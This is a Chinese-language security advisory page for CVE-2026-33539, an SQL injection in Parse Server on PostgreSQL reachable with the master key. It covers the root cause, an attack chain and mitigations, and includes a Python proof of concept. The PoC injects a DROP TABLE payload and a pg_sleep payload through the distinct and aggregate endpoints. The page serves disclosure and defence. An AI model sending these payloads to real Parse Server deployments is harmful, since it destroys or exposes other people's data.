IPBUF安全漏洞报告
English
CVE-2026-33539 CVSS 7.2 高危

CVE-2026-33539 Parse Server SQL注入漏洞

披露日期: 2026-03-24

漏洞信息

漏洞编号
CVE-2026-33539
漏洞类型
SQL注入
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Parse Server

相关标签

SQL注入Parse ServerPostgreSQL权限提升CVE-2026-33539

漏洞概述

Parse Server在8.6.59和9.6.0-alpha.53之前的版本中存在一个高危漏洞。由于未正确过滤字段名参数,拥有master key的攻击者可以在PostgreSQL数据库环境下,通过聚合$group阶段或distinct操作注入SQL元字符。该漏洞允许攻击者执行任意SQL语句,从而将权限从应用级管理员提升至数据库级,导致数据泄露或破坏。此问题仅影响PostgreSQL部署,MongoDB不受影响。

技术细节

该漏洞的根源在于Parse Server在处理特定数据库查询操作时,未能对用户输入的字段名进行有效的转义或验证。具体而言,当攻击者持有master key并发起包含聚合管道(如`$group`阶段)或`distinct`操作的请求时,可以通过构造恶意的字段名称(包含SQL元字符如引号、分号等)来操纵底层生成的SQL查询语句。Parse Server直接将这些字段名拼接到SQL查询中,而非使用参数化查询或白名单机制,导致攻击者能够注入并执行任意SQL命令。这使得攻击者能够绕过应用层的限制,直接获得PostgreSQL数据库的控制权,执行读取、修改、删除数据甚至控制数据库服务器的操作。

攻击链分析

STEP 1
侦察
识别目标是否使用Parse Server,并确认其后端数据库类型为PostgreSQL。
STEP 2
获取凭证
通过其他漏洞或信息泄露获取Parse Server的Master Key,这是利用该漏洞的必要条件。
STEP 3
构造恶意请求
利用获取的Master Key,向API发送包含`$group`聚合或`distinct`操作的请求,并在字段名参数中注入恶意SQL代码。
STEP 4
执行攻击
Parse Server后端将恶意字段名拼接到SQL语句中并在数据库执行,导致攻击者获取数据库控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-33539: Parse Server PostgreSQL SQL Injection # Requires: Master Key, Parse Server using PostgreSQL < 8.6.59 import requests import json # Configuration TARGET_URL = "http://localhost:1337/parse" APP_ID = "YOUR_APP_ID" MASTER_KEY = "YOUR_MASTER_KEY" CLASS_NAME = "TestTable" headers = { "X-Parse-Application-Id": APP_ID, "X-Parse-Master-Key": MASTER_KEY, "Content-Type": "application/json" } # Vulnerable Payload 1: Distinct operation with SQL injection # Injecting into the field name parameter payload_distinct = { "where": {}, "distinct": "fieldName); DROP TABLE test_table; --" } # Vulnerable Payload 2: Aggregate $group pipeline # Injecting into the key within the group stage payload_aggregate = { "pipeline": [ { "group": { # Attempting to inject SQL via the key name "injected_key); SELECT pg_sleep(5); --": { "$sum": 1 } } } ] } try: # Sending Distinct Request print("[*] Attempting SQL Injection via distinct endpoint...") url_distinct = f"{TARGET_URL}/classes/{CLASS_NAME}" r_distinct = requests.get(url_distinct, headers=headers, params=payload_distinct) print(f"[+] Status Code: {r_distinct.status_code}") # Sending Aggregate Request print("[*] Attempting SQL Injection via aggregate endpoint...") url_aggregate = f"{TARGET_URL}/aggregate/{CLASS_NAME}" r_aggregate = requests.post(url_aggregate, headers=headers, data=json.dumps(payload_aggregate)) print(f"[+] Status Code: {r_aggregate.status_code}") if r_distinct.status_code == 200 or r_aggregate.status_code == 200: print("[!] Request sent successfully. Check database for impact.") else: print("[-] Exploit failed or endpoint protected.") except Exception as e: print(f"Error: {e}")

影响范围

Parse Server < 8.6.59
Parse Server < 9.6.0-alpha.53

防御指南

临时缓解措施
如果无法立即升级,请严格限制对Master Key的访问,确保其不被未授权方获取。同时,检查并监控数据库日志中是否存在异常的聚合查询或distinct操作。建议在WAF层面增加针对字段名参数的过滤规则,拦截包含SQL元字符的请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表